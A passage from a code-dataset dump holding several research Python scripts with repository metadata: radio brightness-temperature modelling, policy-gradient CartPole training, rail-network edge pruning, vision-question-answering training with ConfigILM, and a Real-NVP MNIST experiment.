inpfile = re.sub('\\[diff\\]', 'true', inpfile)\n else:\n inpfile = re.sub('\\[diff\\]', 'false', inpfile)\n\n for key in args.keys():\n try :\n inpfile = re.sub('\\[%s\\]' % key, args[key], inpfile)\n except TypeError :\n pass\n\n with open(name + '.inp', 'w') as file:\n file.write(inpfile)\n print('Input file written to %s.inp' % name)\n return name + '.inp'\n\ndef run_forward(exefile, inpfile):\n script = [exefile, '-i', inpfile]\n process = subprocess.Popen(script,\n stdout = subprocess.PIPE,\n stderr = subprocess.PIPE)\n while True:\n output = process.stdout.readline()\n #err = process.stderr.readline()\n #if (err != ''):\n # raise Exception(err.decode('UTF-8'))\n if output == b'' and process.poll() is not None:\n break\n if output:\n print(output.decode('UTF-8'), end = '')\n process.poll()\n #print(out.decode('UTF-8'), end = '\\r')\n #print(err.decode('UTF-8'))\n\n out, err = subprocess.Popen('./combine.py',\n stdout = subprocess.PIPE,\n stderr = subprocess.PIPE).communicate()\n print(out.decode('UTF-8'), end = '')\n print(err.decode('UTF-8'), end = '')\n\n inp = athinput(inpfile)\n return inp['job']['problem_id']\n\ndef write_observation(inpfile, datafile, output = 'none'):\n freq = get_rt_bands(inpfile)[:,0]\n num_bands = len(freq)\n\n# read radiation toa\n data = Dataset(datafile, 'r')\n amu = arccos(data['mu_out'][:])/pi*180.\n amu = amu.reshape((num_bands, -1))\n num_dirs = amu.shape[1]\n tb = data['radiance'][0,:,:,0]\n tb = tb.reshape((num_bands, num_dirs, -1))\n\n# write to file\n if output == 'none':\n outfile = '.'.join(inpfile.split('.')[:-1]) + '.out'\n else:\n outfile = output\n with open(outfile, 'w') as file:\n for k in range(tb.shape[2]):\n file.write('# Brightness temperatures of input model %s - model %d\\n' % (inpfile, k))\n file.write('%12s' % '# Freq (GHz)')\n for i in range(num_dirs):\n file.write('%10.2f' % amu[0,i])\n file.write('\\n')\n for i in range(num_bands):\n file.write('%12.2f' % freq[i])\n for j in range(num_dirs):\n file.write('%10.2f' % tb[i,j,k])\n file.write('\\n')\n print('Brightness temperatures written to %s' % outfile)\n return outfile\n", "repo_name": "chengcli/2023.SaturnVLA", "sub_path": "snapy/harp/radio_model.py", "file_name": "radio_model.py", "file_ext": "py", "file_size_in_byte": 4389, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "numpy.logspace", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.log10", "line_number": 14, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 41, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 42, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 43, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 44, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 45, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 46, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 47, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 48, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 49, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 50, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 51, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 52, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 53, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 55, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 57, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 59, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 61, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 65, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 76, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 77, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 78, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 92, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 93, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 94, "usage_type": "attribute"}, {"api_name": "athena.athena_read.athinput", "line_number": 98, "usage_type": "call"}, {"api_name": "utils.get_rt_bands", "line_number": 102, "usage_type": "call"}, {"api_name": "netCDF4.Dataset", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.arccos", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 107, "usage_type": "name"}]} +{"seq_id": "39024042038", "text": "\"\"\"\"\"\"\"\"\"\nCodes are heavily borrowed from https://github.com/JamesChuanggg/pytorch-REINFORCE\n\"\"\"\"\"\"\"\"\"\n\nimport argparse, os\n\nimport matplotlib.pyplot as plt\nimport gym\nimport numpy as np\nimport torch\nfrom torch.autograd import Variable\n\nimport importance_sampling\nimport REINFORCE\n\nplt.style.use('ggplot')\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--env-name', type=str, default='CartPole-v0')\nparser.add_argument('--max-steps', type=int, default=200, metavar='N')\nparser.add_argument('--num-episodes', type=int, default=1000, metavar='N')\nparser.add_argument('--num-trajs', type=int, default=10, metavar='N')\nparser.add_argument('--gamma', type=float, default=0.99, metavar='G')\nparser.add_argument('--lr', type=float, default=1e-3, metavar='G')\nparser.add_argument('--hidden_layer', type=int, default=128, metavar='N')\nparser.add_argument('--seed', type=int, default=777, metavar='N',)\nparser.add_argument('--reinforce', action ='store_true', help='Use REINFORCE instead of importance sampling')\n\nargs = parser.parse_args()\n\ndef main():\n\n\n env = gym.make(args.env_name)\n\n env.seed(args.seed)\n torch.manual_seed(args.seed)\n np.random.seed(args.seed)\n\n if args.reinforce:\n agent = REINFORCE.Agent(args, env.observation_space.shape[0], env.action_space) \n else:\n agent = importance_sampling.Agent(args, env.observation_space.shape[0], env.action_space)\n\n trajs = []\n result = []\n\n for i_episode in range(args.num_episodes):\n\n s_t = torch.Tensor([env.reset()])\n\n states = []\n actions = []\n log_probs = []\n rewards = []\n\n for t in range(args.max_steps):\n a_t, log_prob = agent.action(s_t)\n s_t1, r_t, done, _ = env.step(a_t.numpy()[0][0])\n states.append(s_t)\n actions.append(a_t)\n log_probs.append(log_prob)\n rewards.append(r_t)\n s_t = torch.Tensor([s_t1])\n\n if done:\n break\n\n if len(trajs) >= args.num_trajs:\n trajs.pop(0)\n \n if args.reinforce:\n ##use most recent trajectory only\n trajs = [] \n\n trajs.append((states, actions, rewards, log_probs))\n agent.train_(trajs)\n\n print(\"Episode: {}, reward: {}\".format(i_episode, sum(rewards)))\n result.append(sum(rewards))\n\n\n \"\"\"plot\"\"\"\n plt.plot(range(len(result)), result)\n plt.ylabel('reward')\n plt.xlabel('episodes')\n plt.grid(True)\n plt.show()\n\n env.close()\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "kimhc6028/policy-gradient-importance-sampling", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2553, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 30, "dataset": "github-code", "pt": "85", "api": [{"api_name": "matplotlib.pyplot.style.use", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 16, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 18, "usage_type": "call"}, {"api_name": "gym.make", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 38, "usage_type": "attribute"}, {"api_name": "REINFORCE.Agent", "line_number": 41, "usage_type": "call"}, {"api_name": "importance_sampling.Agent", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}]} +{"seq_id": "21232026951", "text": "# This script drops manually selected edges. For now it will be OK solution.\n\nimport os\nimport json\nfrom utils.load_stations import id_to_data, name_to_id\nimport pandas as pd\nimport numpy as np\n\nedgelist_path = \"data/processed/rail_network_edgelist.csv\"\nmax_shortcut_len = 5\noutput_edgelist_path = \"data/processed/rail_network_dropped.csv\"\n\nedges_to_drop = [\"Hrastovlje,Hrpelje-Kozina\", \"Divača,Sežana\", \"Divača,Pivka\", \"Pivka,Gornje Ležeče\", \n\"Postojna,Pivka\", \"Velika Loka,Trebnje\", \"Mirna Peč,Novo mesto Center\", \"Trebnje,Mirna\", \"Trebnje,Gomila\",\n\"Velika Nedelja,Ptuj\", \"Ptuj,Kidričevo\", \"Hoče,Maribor\", \"Maribor,Maribor Studenci\", \"Ruše,Ruta\", \"Ruta,Podvelka\",\n\"Podvelka,Vuhred\", \"Vuhred,Vuzenica\", \"Vuzenica,Dravograd\", \"Borovnica,Ljubljana Tivoli\", \"Medvode,Ljubljana Vižmarje\",\n\"Plave,Nova Gorica\", \"Volčja Draga,Prvačina\", \"Škofljica,Grosuplje\", \"Grosuplje,Žalna\", \"Višnja Gora,Ivančna Gorica\", \"Ivančna Gorica,Radohova vas\", \"Mirna Peč,Novo mesto\",\n\"Maribor Studenci,Ruše\", \"Logatec,Rakek\"]\n\nedgelist_to_drop = []\n\nfor i in range(len(edges_to_drop)):\n print(edges_to_drop[i])\n a, b = edges_to_drop[i].split(\",\")\n a, b = int(name_to_id[a]), int(name_to_id[b])\n edgelist_to_drop.append([a, b]) \n edgelist_to_drop.append([b, a]) \n\n\nedgelist = pd.read_csv(edgelist_path, header=None).values.tolist()\n\nnew_edgelist = []\n\nfor edge in edgelist:\n if edge not in edgelist_to_drop:\n new_edgelist.append(edge)\n\ndef is_undirected(edgelist):\n # very slow but written in 30 secs ¯\\_(ツ)_/¯\n for edge in edgelist:\n if [edge[1], edge[0]] not in edgelist:\n return False\n return True\n\ndef is_unique(edgelist):\n # very slow but written in 30 secs ¯\\_(ツ)_/¯\n for i in range(len(edgelist)):\n if edgelist[i] in edgelist[:i] + edgelist[i+1:]:\n return False\n return True\n\nprint(is_undirected(new_edgelist), is_unique(new_edgelist))\n\n#new_edgelist = np.array(new_edgelist)\n\nf = open(output_edgelist_path, \"w\")\nfor edge in new_edgelist:\n f.write(\"{},{}\\n\".format(edge[0], edge[1]))\n\nf.close()", "repo_name": "gregorkrz/sz-delays", "sub_path": "scripts/drop_edges.py", "file_name": "drop_edges.py", "file_ext": "py", "file_size_in_byte": 2086, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "utils.load_stations.name_to_id", "line_number": 25, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 30, "usage_type": "call"}]} +{"seq_id": "74093390358", "text": "\"\"\"\nThis is an example script for vision classification using the BigEarthNet dataset.\nIt is basically a 1-to-1 application of the process described in the documentation under\nSupervised Vision Classification.\n\"\"\"\n# import packages\nfrom typing import List\nfrom typing import Optional\n\nimport pytorch_lightning as pl\nimport torch\nimport torch.nn.functional as F\nimport typer\nfrom sklearn.metrics import accuracy_score\nfrom torch import optim\nfrom torchmetrics.classification import MultilabelF1Score\nfrom tqdm import tqdm\n\nfrom configilm import ConfigILM\nfrom configilm.ConfigILM import ILMConfiguration\nfrom configilm.ConfigILM import ILMType\nfrom configilm.extra.BEN_lmdb_utils import resolve_data_dir as resolve_ben_data_dir\nfrom configilm.extra.DataModules.RSVQAxBEN_DataModule import RSVQAxBENDataModule\n\n\n__author__ = \"Leonard Hackel - BIFOLD/RSiM TU Berlin\"\n\n\nclass LitVisionEncoder(pl.LightningModule):\n \"\"\"\n Wrapper around a pytorch module, allowing this module to be used in automatic\n training with pytorch lightning.\n Among other things, the wrapper allows us to do automatic training and removes the\n need to manage data on different devices (e.g. GPU and CPU).\n \"\"\"\n\n def __init__(\n self,\n config: ConfigILM.ILMConfiguration,\n lr: float = 1e-3,\n ):\n super().__init__()\n self.lr = lr\n self.config = config\n self.model = ConfigILM.ConfigILM(config)\n self.val_output_list: List[dict] = []\n self.test_output_list: List[dict] = []\n\n def _disassemble_batch(self, batch):\n images, questions, labels = batch\n # transposing tensor, needed for Huggingface-Dataloader combination\n questions = torch.tensor(\n [x.tolist() for x in questions], device=self.device\n ).T.int()\n return (images, questions), labels\n\n def training_step(self, batch, batch_idx):\n x, y = self._disassemble_batch(batch)\n x_hat = self.model(x)\n loss = F.binary_cross_entropy_with_logits(x_hat, y)\n self.log(\"train/loss\", loss)\n return {\"loss\": loss}\n\n def configure_optimizers(self):\n optimizer = optim.AdamW(self.parameters(), lr=self.lr, weight_decay=0.01)\n return optimizer\n\n def validation_step(self, batch, batch_idx):\n x, y = self._disassemble_batch(batch)\n x_hat = self.model(x)\n loss = F.binary_cross_entropy_with_logits(x_hat, y)\n self.val_output_list += [{\"loss\": loss, \"outputs\": x_hat, \"labels\": y}]\n\n def on_validation_epoch_start(self):\n super().on_validation_epoch_start()\n self.val_output_list = []\n\n def on_validation_epoch_end(self):\n metrics = self.get_metrics(self.val_output_list)\n\n self.log(\"val/loss\", metrics[\"avg_loss\"])\n self.log(\"val/f1\", metrics[\"avg_f1_score\"])\n self.log(\"val/Accuracy (LULC)\", metrics[\"accuracy\"][\"LULC\"])\n self.log(\"val/Accuracy (Yes-No)\", metrics[\"accuracy\"][\"Yes/No\"])\n self.log(\"val/Accuracy (Overall)\", metrics[\"accuracy\"][\"Overall\"])\n self.log(\"val/Accuracy (Average)\", metrics[\"accuracy\"][\"Average\"])\n\n def test_step(self, batch, batch_idx):\n x, y = self._disassemble_batch(batch)\n x_hat = self.model(x)\n loss = F.binary_cross_entropy_with_logits(x_hat, y)\n self.test_output_list += [{\"loss\": loss, \"outputs\": x_hat, \"labels\": y}]\n\n def on_test_epoch_end(self):\n metrics = self.get_metrics(self.test_output_list)\n\n self.log(\"test/loss\", metrics[\"avg_loss\"])\n self.log(\"test/f1\", metrics[\"avg_f1_score\"])\n self.log(\"test/Accuracy (LULC)\", metrics[\"accuracy\"][\"LULC\"])\n self.log(\"test/Accuracy (Yes-No)\", metrics[\"accuracy\"][\"Yes/No\"])\n self.log(\"test/Accuracy (Overall)\", metrics[\"accuracy\"][\"Overall\"])\n self.log(\"test/Accuracy (Average)\", metrics[\"accuracy\"][\"Average\"])\n\n def forward(self, batch):\n # because we are a wrapper, we call the inner function manually\n return self.model(batch)\n\n def get_metrics(self, outputs):\n avg_loss = torch.stack([x[\"loss\"] for x in outputs]).mean()\n logits = torch.cat([x[\"outputs\"].cpu() for x in outputs], 0)\n labels = torch.cat(\n [x[\"labels\"].cpu() for x in outputs], 0\n ) # Tensor of size (#samples x classes)\n\n selected_answers = self.trainer.datamodule.selected_answers\n\n argmax_out = torch.argmax(logits, dim=1)\n argmax_lbl = torch.argmax(labels, dim=1)\n\n # get answers and predictions per type\n yn_preds = []\n yn_gts = []\n lulc_preds = []\n lulc_gts = []\n\n for i, ans in enumerate(tqdm(argmax_lbl, desc=\"Counting answers\")):\n # Yes/No question\n if selected_answers[ans] in [\"yes\", \"no\"]:\n\n # stored for global Yes/No\n yn_preds.append(argmax_out[i])\n yn_gts.append(ans)\n\n # LC question\n else:\n # stored for global LC\n lulc_preds.append(argmax_out[i])\n lulc_gts.append(ans)\n\n acc_yn = accuracy_score(yn_gts, yn_preds)\n acc_lulc = accuracy_score(lulc_gts, lulc_preds)\n\n accuracy_dict = {\n \"Yes/No\": acc_yn,\n \"LULC\": acc_lulc,\n \"Overall\": accuracy_score(\n argmax_lbl, argmax_out\n ), # micro average on classes\n \"Average\": (acc_yn + acc_lulc) / 2, # macro average on types\n }\n\n f1_score = MultilabelF1Score(num_labels=self.config.classes, average=None).to(\n logits.device\n )(logits, labels)\n\n avg_f1_score = float(\n torch.sum(f1_score) / self.config.classes\n ) # macro average f1 score\n\n return {\n \"avg_loss\": avg_loss,\n \"avg_f1_score\": avg_f1_score,\n \"accuracy\": accuracy_dict,\n }\n\n\ndef main(\n vision_model: str = \"resnet18\",\n text_model: str = \"prajjwal1/bert-tiny\",\n data_dir: Optional[str] = None,\n number_of_channels: int = 12,\n image_size: int = 120,\n batch_size: int = 32,\n num_workers: int = 4,\n max_img_index: int = 7 * 128,\n epochs: int = 10,\n lr: float = 5e-4,\n drop_rate: float = 0.2,\n seed: int = 42,\n val_epoch_interval: Optional[int] = 5,\n):\n\n # for ampere GPUs set precision -> can also be 'high', see details at\n # https://pytorch.org/docs/stable/generated/torch.set_float32_matmul_precision.html#torch.set_float32_matmul_precision\n torch.set_float32_matmul_precision(\"medium\")\n\n # seed for pytorch, numpy, python.random, Dataloader workers, spawned subprocesses\n pl.seed_everything(seed, workers=True)\n\n model_config = ILMConfiguration(\n timm_model_name=vision_model,\n hf_model_name=text_model,\n classes=1000,\n image_size=image_size,\n channels=number_of_channels,\n drop_rate=drop_rate,\n network_type=ILMType.VQA_CLASSIFICATION,\n )\n\n trainer = pl.Trainer(\n max_epochs=epochs,\n accelerator=\"auto\",\n log_every_n_steps=1,\n check_val_every_n_epoch=val_epoch_interval,\n logger=False,\n )\n\n model = LitVisionEncoder(config=model_config, lr=lr)\n dm = RSVQAxBENDataModule(\n data_dir=resolve_ben_data_dir(data_dir, allow_mock=True), # path to dataset\n img_size=(number_of_channels, image_size, image_size),\n max_img_idx=max_img_index,\n num_workers_dataloader=num_workers,\n batch_size=batch_size,\n tokenizer=model.model.get_tokenizer(),\n seq_length=64,\n )\n\n trainer.fit(model, datamodule=dm)\n trainer.test(model, datamodule=dm, ckpt_path=\"best\")\n print(\"=== Training finished ===\")\n\n\nif __name__ == \"__main__\":\n typer.run(main)\n", "repo_name": "lhackel-tub/ConfigILM", "sub_path": "example_scripts/lit_train_vqa_without_logging.py", "file_name": "lit_train_vqa_without_logging.py", "file_ext": "py", "file_size_in_byte": 7749, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 28, "dataset": "github-code", "pt": "85", "api": [{"api_name": "pytorch_lightning.LightningModule", "line_number": 29, "usage_type": "attribute"}, {"api_name": "configilm.ConfigILM.ILMConfiguration", "line_number": 39, "usage_type": "attribute"}, {"api_name": "configilm.ConfigILM", "line_number": 39, "usage_type": "name"}, {"api_name": "configilm.ConfigILM.ConfigILM", "line_number": 45, "usage_type": "call"}, {"api_name": "configilm.ConfigILM", "line_number": 45, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 46, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 47, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.nn.functional.binary_cross_entropy_with_logits", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 60, "usage_type": "name"}, {"api_name": "torch.optim.AdamW", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.nn.functional.binary_cross_entropy_with_logits", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 71, "usage_type": "name"}, {"api_name": "torch.nn.functional.binary_cross_entropy_with_logits", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 91, "usage_type": "name"}, {"api_name": "torch.stack", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.argmax", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.argmax", "line_number": 118, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 126, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 140, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 141, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 146, "usage_type": "call"}, {"api_name": "torchmetrics.classification.MultilabelF1Score", "line_number": 152, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 157, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 170, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 180, "usage_type": "name"}, {"api_name": "torch.set_float32_matmul_precision", "line_number": 185, "usage_type": "call"}, {"api_name": "pytorch_lightning.seed_everything", "line_number": 188, "usage_type": "call"}, {"api_name": "configilm.ConfigILM.ILMConfiguration", "line_number": 190, "usage_type": "call"}, {"api_name": "configilm.ConfigILM.ILMType.VQA_CLASSIFICATION", "line_number": 197, "usage_type": "attribute"}, {"api_name": "configilm.ConfigILM.ILMType", "line_number": 197, "usage_type": "name"}, {"api_name": "pytorch_lightning.Trainer", "line_number": 200, "usage_type": "call"}, {"api_name": "configilm.extra.DataModules.RSVQAxBEN_DataModule.RSVQAxBENDataModule", "line_number": 209, "usage_type": "call"}, {"api_name": "configilm.extra.BEN_lmdb_utils.resolve_data_dir", "line_number": 210, "usage_type": "call"}, {"api_name": "typer.run", "line_number": 225, "usage_type": "call"}]} +{"seq_id": "7790487098", "text": "import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport real_nvp.nn as real_nvp_nn\nfrom real_nvp.model import model_spec as real_nvp_model_spec\nfrom real_nvp.model import inv_model_spec as real_nvp_inv_model_spec\n \ndef z_classifier(inputs, is_training, scope=\"z_classifier\", reuse=False):\n with tf.variable_scope(scope, \"z_classifier\", [inputs], reuse=reuse):\n with slim.arg_scope([slim.fully_connected],\n activation_fn=tf.nn.relu,\n normalizer_params={'is_training': is_training}\n #weights_regularizer=slim.l2_regularizer(0.01)\n ):\n net = inputs\n for i in xrange(5):\n net = slim.fully_connected(net, 1000, scope='fc'+str(i+1))\n #Add a dropout layer to prevent over-fittting\n #net = slim.dropout(net, 0.8, is_training=is_training)\n predictions = slim.fully_connected(net, 10, activation_fn=None)\n return predictions \n \ndef drawMNISTs(digits): # plots MNIST from a [784, num_digits] array.\n for i in range(digits.shape[0]):\n plt.figure()\n plt.imshow(digits[i, :].reshape(28, 28), cmap=plt.cm.gray)\n raw_input('Press Enter.')\n \ndef drawMNIST(digit, title): # plots MNIST from a [784, num_digits] array.\n plt.figure(1)\n plt.clf()\n plt.title(title)\n plt.imshow(np.reshape(digit, (28, 28)), cmap=plt.cm.gray)\n plt.title(title)\n plt.draw()\n raw_input('Press Enter.')\n\n\nif __name__ == '__main__':\n # parameters\n batch_size = 50\n num_epoch = 500\n \n \n model_spec = real_nvp_model_spec\n inv_model_spec = real_nvp_inv_model_spec\n nn = real_nvp_nn\n \n #create the model\n model = tf.make_template('model', model_spec)\n inv_model = tf.make_template('model', inv_model_spec, unique_name='model')\n \n x_init = tf.placeholder(tf.float32, shape=(None, 784))\n \n \n \n \n slim = tf.contrib.slim\n \n layer_num = 6\n batch_size = 50\n num_epoch = 500\n \n config = tf.ConfigProto()\n config.gpu_options.allow_growth=True\n sess = tf.InteractiveSession(config=config) \n \n mnist = input_data.read_data_sets('MNIST_data', one_hot=True)\n \n x = tf.placeholder(tf.float32, shape=[None, 784]) #input images\n y_ = tf.placeholder(tf.float32, shape=[None, 10]) #labels\n is_training = tf.placeholder(tf.bool)\n mask = tf.placeholder(tf.float32, shape=[None, 784])\n \n # Calculate log-likelihood for redl-NVP\n h, s = forward_pass(x, layer_num, mask, is_training)\n log_likelihood = -tf.reduce_sum(gaussianDistribution(h)+s)\n \n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n train_step_generator = tf.train.AdamOptimizer(\n learning_rate=0.001,\n beta1=1. - 1e-1,\n beta2=1. - 1e-3,\n epsilon=1e-08).minimize(log_likelihood)\n \n # Loss function for Z Classifier \n output_Z_classifier = z_classifier(x, is_training)\n cross_entropy_Z = tf.reduce_mean(\n tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=output_Z_classifier))\n train_step_Z_classifier = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy_Z) \n correct_prediction_Z = tf.equal(tf.argmax(output_Z_classifier,1), tf.argmax(y_,1))\n accuracy_Z = tf.reduce_mean(tf.cast(correct_prediction_Z, tf.float32))\n \n \n \n sess.run(tf.global_variables_initializer())\n \n # Create a saver object to save all the variables\n saver = tf.train.Saver()\n \n log_likelihoods = []\n batch_mask = getMask((batch_size, 784))\n for i in range(num_epoch):\n batch = mnist.train.next_batch(batch_size)\n if i%100 == 0:\n loglikelihood = log_likelihood.eval(feed_dict={x: batch[0], mask: batch_mask, is_training:False})\n print(\"step %d, log-likelihood %g\"%(i, loglikelihood))\n log_likelihoods.append(loglikelihood)\n train_step_generator.run(feed_dict={x: batch[0], mask: getMask((batch_size, 784)), is_training:True})\n \n# log_likelihoods = []\n# \n# for i in range(num_epoch):\n# batch = mnist.train.next_batch(batch_size)\n# if i%100 == 0:\n# loglikelihood = log_likelihood.eval(feed_dict={x: batch[0], mask: getMask((batch_size, 784)), is_training:False})\n# log_likelihoods.append(loglikelihood)\n# print(\"step %d, log-likelihood %g\"%(i, loglikelihood))\n# #output = h.eval(feed_dict={x: batch[0], mask: getMask((batch_size, 784))})[0]\n# #plt.figure(i)\n# #plt.clf()\n# #plt.imshow(np.reshape(output, (28, 28)), cmap=plt.cm.gray)\n# #plt.draw()\n# #if i%10000 == 0 and i is not 0:\n# # saver.save(sess, 'my_test_model_' + str(i))\n# train_step_generator.run(feed_dict={x: batch[0], mask: getMask((batch_size, 784)), is_training:True})\n #saver.save(sess, 'my_last_model') \n\n \n #get test-set log-likelihood\n #mask_test = getMask((len(mnist.test.images), 784))\n #print(\"log-likelihood %g\"%log_likelihood.eval(feed_dict={x: mnist.test.images, mask: mask_test}))\n \n #plot log-likelihoods\n plt.clf()\n x_axis = np.linspace(0,num_epoch, num_epoch/100) \n plt.plot(x_axis, log_likelihoods)\n plt.show()\n \n #from gaussian -> f^-1 -> data distribution\n normal = tf.truncated_normal((2,784))\n #normal = tf.constant(np.random.randn(1,784), tf.float32)\n #normal = tf.truncated_normal((2,784), stddev=0.1)\n original_dist = backward_pass(normal, layer_num, getMask((normal.eval().shape[0],784)), False, reuse=True)\n #plt.imshow(np.reshape(original_dist.eval(), (28, 28)), cmap=plt.cm.gray)\n drawMNISTs(original_dist.eval()) \n \n \n # Train the z-classifier (computes p(class|z))\n for i in range(20000):\n batch = mnist.train.next_batch(batch_size)\n z,_ = forward_pass(tf.cast(batch[0], tf.float32), layer_num, batch_mask, False, reuse=True)\n if i%1000 == 0:\n train_accuracy = accuracy_Z.eval(feed_dict={x:z.eval(), y_: batch[1], is_training:False})\n print(\"step %d, training accuracy %g\"%(i, train_accuracy)) \n train_step_Z_classifier.run(feed_dict={x: z.eval(), y_: batch[1], is_training:True})\n \n test_set,_ = forward_pass(mnist.test.images, layer_num, batch_mask, False, reuse=True)\n print(\"test accuracy %g\"%accuracy_Z.eval(feed_dict={\n x: test_set.eval(), y_: mnist.test.labels, is_training:False}))\n \n \n \n #sess.close()\n #del sess \n \n \n \n \n \n ", "repo_name": "choidami/real_nvp", "sub_path": "old_iters/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 6688, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "85", "api": [{"api_name": "tensorflow.variable_scope", "line_number": 10, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 12, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 27, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.reshape", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 34, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.title", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.draw", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "real_nvp.model.model_spec", "line_number": 46, "usage_type": "name"}, {"api_name": "real_nvp.model.inv_model_spec", "line_number": 47, "usage_type": "name"}, {"api_name": "real_nvp.nn", "line_number": 48, "usage_type": "name"}, 